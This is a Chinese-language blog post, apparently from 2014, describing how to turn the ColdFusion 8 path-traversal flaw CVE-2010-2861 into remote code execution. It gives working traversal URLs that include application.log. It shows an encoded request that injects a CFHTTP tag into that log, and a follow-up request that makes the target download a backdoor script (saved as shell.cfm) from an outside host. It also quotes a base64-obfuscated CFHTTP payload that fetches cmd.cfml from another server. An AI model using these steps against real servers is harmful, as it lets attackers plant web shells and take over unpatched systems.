最近看老外的一篇文章說,CVE-2010-2861這個利用方法,只有看到過通過讀取password.properties里的password字段,破解SHA-1值登陸后臺,或者通過傳遞哈希登陸后臺的,還沒見過能直接得到SHELL的。其實我以前和小伙伴討論過利用application.log本地包含CFM的方法,當時的利用方法是這樣的:

首先看看application.log有沒有在默認的目錄:

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en

然后訪問一個不存在的頁面,注意編碼問題,否則不成功的。

http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml

這時候就會把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>注入到application.log里了,看下圖:

2014041409324320691.jpg

最后我們訪問

http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm

2014041409332372208.jpg

就會從10.18.180.20上把xl.txt的CF后門腳本下載到目標機器的c:\ColdFusion8\wwwroot目錄了。

我們看看老外用的方法:思路都是一樣的,就是他的payload選擇的是

<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>

使用cfm的CFHTTP標簽執行一個HTTP請求來取得192.168.1.97:8000 WEB服務器上的cmd.cfml文件,ToString(ToBinary是為了做BASE64編碼,繞過一些字符的限制,比如/

下面說說此法的缺點:

1.不是通殺的方法,如果對方禁止對外的HTTP訪問,此法不行 
2.如果安裝的時候是集成到IIS模式的,CF程序目錄放到其他盤符的話,是沒法使用../跨目錄的 

?

您的支持將鼓勵我們繼續創作!

[微信] 掃描二維碼打賞

[支付寶] 掃描二維碼打賞